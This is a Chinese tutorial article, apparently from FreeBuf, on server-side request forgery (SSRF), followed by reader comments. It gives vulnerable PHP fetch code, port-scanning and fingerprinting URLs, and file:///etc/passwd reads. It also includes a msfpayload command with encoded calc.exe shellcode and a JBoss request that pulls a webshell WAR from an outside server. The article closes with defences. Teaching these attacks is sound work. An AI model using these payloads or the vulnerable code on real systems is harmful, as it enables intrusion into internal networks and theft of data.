CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 百科
  3. 正文

woyun

2017年5月23日 855点热度 0人点赞 0条评论
  • 首页
  • 分类阅读
  • 文库
  • 专栏
  • 公开课
  • 商城
  • 漏洞盒子
注册 | 登录
投稿

[安全科普]SSRF攻击实例解析

litdg2013-12-18+20共1087579人围观 ,发现 33 个不明物体WEB安全

ssrf攻击概述


很多web应用都提供了从其他的服务器上获取数据的功能。使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等。这个功能如果被恶意使用,可以利用存在缺陷的web应用作为代理攻击远程和本地的服务器。这种形式的攻击称为服务端请求伪造攻击(Server-side Request Forgery)。

比如下图显示的就是提供这种功能的典型应用:

如果应用程序对用户提供的URL和远端服务器返回的信息没有进行合适的验证和过滤,就可能存在这种服务端请求伪造的缺陷。Google,Facebook,Adobe,baidu,tencent等知名公司都被发现过这种漏洞。攻击者利用ssrf可以实现的攻击主要有5种:

1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;

2.攻击运行在内网或本地的应用程序(比如溢出);

3.对内网web应用进行指纹识别,通过访问默认文件实现;

4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);

5.利用file协议读取本地文件等。

常用的后端实现


ssrf攻击可能存在任何语言编写的应用,我们通过一些php实现的代码来作为样例分析。代码的大部分来自于真实的应用源码。

1,php file_get_contents:

<?php
if (isset($_POST['url'])) 
{ 
$content = file_get_contents($_POST['url']); 
$filename ='./images/'.rand().';img1.jpg'; 
file_put_contents($filename, $content); 
echo $_POST['url']; 
$img = "<img src=\"".$filename."\"/>"; 
} 
echo $img; 
?>

这段代码使用file_get_contents函数从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上,并展示给用户。

2,php fsockopen():

<?php 
function GetFile($host,$port,$link) 
{ 
$fp = fsockopen($host, intval($port), $errno, $errstr, 30); 
if (!$fp) { 
echo "$errstr (error number $errno) \n"; 
} else { 
$out = "GET $link HTTP/1.1\r\n"; 
$out .= "Host: $host\r\n"; 
$out .= "Connection: Close\r\n\r\n"; 
$out .= "\r\n"; 
fwrite($fp, $out); 
$contents=''; 
while (!feof($fp)) { 
$contents.= fgets($fp, 1024); 
} 
fclose($fp); 
return $contents; 
} 
}
?>

这段代码使用fsockopen函数实现获取用户制定url的数据(文件或者html)。这个函数会使用socket跟服务器建立tcp连接,传输原始数据。

3,php curl_exec():

<?php 
if (isset($_POST['url']))
{
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);

$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result); 
echo $result;
}
?>

这是另外一个很常见的实现。使用curl获取数据。

攻击场景


大部分的web服务器架构中,web服务器自身都可以访问互联网和服务器所在的内网。下图展示了web服务器的请求可以到达的地方。

端口扫描


大多数社交网站都提供了通过用户指定的url上传图片的功能。如果用户输入的url是无效的。大部分的web应用都会返回错误信息。攻击者可以输入一些不常见的但是有效的URI,比如

http://example.com:8080/dir/images/

http://example.com:22/dir/public/image.jpg

http://example.com:3306/dir/images/

然后根据服务器的返回信息来判断端口是否开放。大部分应用并不会去判断端口,只要是有效的URL,就发出了请求。而大部分的TCP服务,在建立socket连接的时候就会发送banner信息,banner信息是ascii编码的,能够作为原始的html数据展示。当然,服务端在处理返回信息的时候一般不会直接展示,但是不同的错误码,返回信息的长度以及返回时间都可以作为依据来判断远程服务器的端口状态。

下面一个实现就可以用来做端口扫描:

<?php 
if (isset($_POST['url']))
{
$link = $_POST['url'];
$filename = './curled/'.rand().'txt';
$curlobj = curl_init($link);
$fp = fopen($filename,"w");
curl_setopt($curlobj, CURLOPT_FILE, $fp);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_exec($curlobj);
curl_close($curlobj);
fclose($fp);
$fp = fopen($filename,"r");
$result = fread($fp, filesize($filename)); 
fclose($fp);
echo $result;
}
?>

读者可以使用如下表单提交测试(比较简陋~~):

<html><body>

<form name="px" method="post" action="http://127.0.0.1/ss.php">


<input type="text" name="url" value="">


<input type="submit" name="commit" value="submit">

</form>

<script>

</script>

</body></html>

正常情况下,请求http://www.twitter.com/robots.txt 返回结果如下:

如果请求非http服务的端口,比如:http://scanme.nmap.org:22/test.txt 会返回banner信息

请求关闭的端口会报错:http://scanme.nmap.org:25/test.txt

请求本地的mysql端口:http://127.0.0.1:3306/test.txt

当然大多数互联网的应用并不会直接返回banner信息。不过可以通过前面说过的,处错误信息,响应时间,响应包大小来判断。下面是Google的webmaster应用中,利用返回信息判断端口状态的案例.该缺陷Google已修复。

攻击应用程序


内网的安全通常都很薄弱,溢出,弱口令等一般都是存在的。通过ssrf攻击,可以实现对内网的访问,从而可以攻击内网或者本地机器,获得shell等。

下面是用一个小程序本地来演示:

请求:http://127.0.0.1:8987/test.txt

探测到8987端口开放。

请求:

 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

这里是白盒分析,实战的时候当然没这个条件只能是利用已知漏洞来溢出。通过分析写好exp。因为http是基于文本的协议,所以处理一些不可以打印的unicode字符会存在问题。这里使用msfencode来进行编码。命令如下:

msfpayload widnows/exec CMD=calc.exe R | msfencode 
bufferRegister=ESP -e x86/alpha_mixed

最终payload如下:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@'ßwTYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlhhm
YUPWpWp3Pk9he01xRSTnkpRfPlKPRtLLKPR24NkbR7XDOMgszuvVQ9oeaKpllgL3QQl
5RFLWPiQJodM31JgKRHpaBPWNk3bvpLKsrWLwqZpLK1P0xMU9PSDCz7qZpf0NkQX6xn
k2xUps1n3xcgL3yNkednkVayF4qKO5aKpnLIQJo4M31O76XIpbUzTdC3MHxGKamvDbU
8bchLKShEtgqhSQvLKtLRkNkShuLgqZslK5TlKVaZpoy3tGTWTqKqKsQ0YSjRqyoKP2
xCoSjnkwb8kLFqM0jFaNmLElyc05PC0pPsX6QlK0oOwkOyEOKhph5920VBHY6MEoMOm
KON5Uls6SLUZMPykip2UfeoK3wfs422OBJs0Sc9oZuCSPaPl3SC0AA

溢出成功,弹出计算器。

大家也许会对http发送的数据是否能被其他服务器协议接收存在疑问。可以参考跨协议通信技术利用

内网web应用指纹识别


识别内网应用使用的框架,平台,模块以及cms可以为后续的攻击提供很多帮助。大多数web应用框架都有一些独特的文件和目录。通过这些文件可以识别出应用的类型,甚至详细的版本。根据这些信息就可以针对性的搜集漏洞进行攻击。比如可以通过访问下列文件来判断phpMyAdmin是否安装:

Request: http://127.0.0.1:8080/phpMyAdmin/themes/original/img/b_tblimport.png
Request: http://127.0.0.1:8081/wp-content/themes/default/images/audio.jpg
Request: http://127.0.0.1:8082/profiles/minimal/translations/README.txt

访问 http://10.0.0.1/portName.js 可以判断是否是Dlink 路由器

下面百度的案例来自于wooyun,已经修复。通过访问http://10.50.33.43:8080/manager/images/tomcat.gif 识别出服务器使用了tomcat。

攻击内网web应用


仅仅通过get方法可以攻击的web有很多,比如struts2命令执行等。这里提供一个Jboss的案例,使用一个get请求即可部署webshell。

只需要将网马放在公网服务器上,然后发送这个请求即可:

 &name=jboss.system:service=MainDeployer&methodIndex=17
 &arg0=http://our_public_internet_server/utils/cmd.war

通过加参数请求网马执行命令:http://127.0.0.1:8080/cmd/shell.jsp?x=dir

实战中一般不会有回显,类似于盲打只能。

读取本地文件


上面提到的案例都是基于http请求的。如果我们指定file协议,也可能读到服务器上的文件。如下的请求会让应用读取本地文件:

Request: file:///C:/Windows/win.ini

下面是Adobe的一个案例,已经修复。请求为file:///etc/passwd

如何防御


通常有以下5个思路:

1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

2, 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。

4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。

5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。

参考资料


http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-3.html

http://evilcos.me/?p=2

http://www.wooyun.org

via riyazwalikar.com  编译整理 by litdg@freebuf

litdg

litdg37 篇文章等级: 6级
|
|
  • 上一篇:XSS现代WAF规则探测及绕过技术
  • 下一篇:密码重置漏洞那点事儿

这些评论亮了

  • dolo回复
    这类问题流行了很多年了,当年人人分享就可以对内网发出请求
    )32(亮了
  • vforbox(1级)回复
    good
    )9(亮了
  • gyreg(3级)去哪儿网安全主管回复
    下面提供的测试代码好像有问题,&#39那块
    )7(亮了
  • m0zh3(1级)回复
    非常好,谢谢
    )7(亮了
  • 夜未央(4级)回复
    好科幻哦。。一点都不懂
    )6(亮了
发表评论

已有 33 条评论

  • hello 2013-12-18回复1楼

    well done~

    亮了(5)
  • m0zh3 (1级) 2013-12-18回复2楼

    非常好,谢谢

    亮了(7)
    • litdg (6级)FB作者 2013-12-18回复

      @m0zh3  感谢支持~~读者的肯定就是动力啊

      亮了(4)
      • ibuf (1级) 2016-06-18回复

        @ litdg  期待继续有好文出现。

        亮了(2)
  • fake 亲爱的 2013-12-18回复3楼

    不错的ssrf
    漏洞挖掘思路 受教了

    亮了(5)
  • whitemonty (4级)这家伙很懒,就是不肯写个人说明! 2013-12-18回复4楼

    坐等河蟹 出来声称该攻击已过时,连他徒弟都早不用了

    亮了(4)
    • vsdfs 2013-12-18回复

      @whitemonty  过时倒没过时,很难遇见这种环境而已

      亮了(3)
  • 黑黑的白猫 (2级) 2013-12-18回复5楼

    不错,赞个。。。

    亮了(3)
  • 杀破狼 (1级) 2013-12-18回复6楼

    不错,写的很详细,通俗易懂

    亮了(4)
  • netorgcom (4级) 2013-12-18回复7楼

    qda

    亮了(3)
  • Dante (2级)linuxer 2013-12-18回复8楼

    太屌了,还可以这样玩….

    亮了(3)
  • gyreg (3级)去哪儿网安全主管 2013-12-18回复9楼

    下面提供的测试代码好像有问题,&#39那块

    亮了(7)
    • litdg (6级)FB作者 2013-12-18回复

      @gyreg  感谢~是fb的编辑器给转义了。之前编辑的时候我改过。发布之后就没有再检查。我在改改。

      亮了(4)
    • litdg (6级)FB作者 2013-12-18回复

      @gyreg  已经修改。代码我测试过,可以达到截图的效果。老外的原文中少了闭合的},我也给加上了。

      亮了(3)
  • dolo 2013-12-18回复10楼

    这类问题流行了很多年了,当年人人分享就可以对内网发出请求

    亮了(32)
  • 嘻嘻哈哈 (2级) 2013-12-18回复11楼

    10楼亮了

    亮了(3)
  • 恭親王 (1级) 2013-12-19回复12楼

    收益,感謝

    亮了(5)
  • 魔之光 (1级) 2013-12-19回复13楼

    感谢作者

    亮了(4)
  • 三只小潴 (2级) 2013-12-19回复14楼

    实战实施起来条件很苛刻。。。

    亮了(3)
  • disappear (1级)天气真好!走,去女澡堂洗澡去 2013-12-19回复15楼

    就喜欢这种总结性质的文章,作者辛苦

    亮了(4)
  • 5test 2013-12-19回复16楼

    有10%到20的删改~//: 居然是翻译的?//: 翻译的挺好

    亮了(2)
  • BLUES--ET 2013-12-19回复17楼

    转发微博

    亮了(2)
  • 不了情安娜1995 2013-12-19回复18楼

    转发微博

    亮了(4)
  • wefgod 2013-12-20回复19楼

    哦哦明白

    亮了(1)
  • wefgod 2013-12-21回复20楼

    这位是作者?

    亮了(0)
  • Arrow、 (2级)挑战无止境,边界由我定! 2013-12-22回复21楼

    来看看,,,,编辑辛苦了

    亮了(6)
  • 鸿羽 (1级) 2013-12-23回复22楼

    我不会告诉你们我看不懂的

    亮了(4)
  • 夜未央 (4级) 2013-12-25回复23楼

    好科幻哦。。一点都不懂

    亮了(6)
  • lufei 2015-02-15回复24楼

    @ litdg  如果请求非http服务的端口,比如:http://scanme.nmap.org:22/test.txt 会返回banner信息 楼主,这个获取的是scanme.nmap.org banner 还是 本机的banner ?

    亮了(5)
  • vforbox (1级) 2016-03-03回复25楼

    good

    亮了(9)
  • 河蟹 2016-06-06回复26楼

    百度那个太特么猥琐了。。

    亮了(4)
  • 无敌情痴 2017-02-27回复27楼

    好文,学习了

    亮了(1)
  • 巅峰邪恶 2017-03-15回复28楼

    在读同事写的ssrf,读了好久没看懂什么意思,来这里看过以后,明白了,好文章

    亮了(1)

必须您当前尚未登录。登陆?注册

必须(保密)

表情插图

取消

litdg

litdg

FB作者

37 篇文章103 条评论

相关阅读

  • RSA2012议题之《SSRF:针对关键业务应用的新威胁》
  • 利用HSTS嗅探浏览器历史纪录的三个漏洞
  • 学点算法搞安全之HMM(下篇)
  • 恶意软件新玩法:隐匿在Pastebin上的后门
  • XSS解决方案系列之三: 例解过后,再回首您正在维护的产品

特别推荐

关注我们 分享每日精选文章

不容错过

  • 【已结束】2016 XPwn未来探索盛会图文直播(Live)ArthurKiller2016-08-31
  • 【已结束】2017年GeekPwn年中赛图文直播Sphinx2017-05-13
  • Pwn2Own战报:腾讯、360各显神通,分别秒杀IE、Flash、PDF项目hujias2015-03-19
  • “鑫胖”家的红星3.0系统被曝漏洞,可远程执行任意命令注入bimeover2016-12-07

FREEBUF

  • 免责声明
  • 关于我们
  • 加入我们

广告及服务

  • 寻求报道
  • 广告合作
  • 联系我们
  • 友情链接

关注我们

  • 官方微信
  • 新浪微博
  • 腾讯微博
  • Twitter

赞助商

Copyright © 2013 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号

css.php

正在加载中...

0daybank

标签: 暂无
最后更新:2017年5月23日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me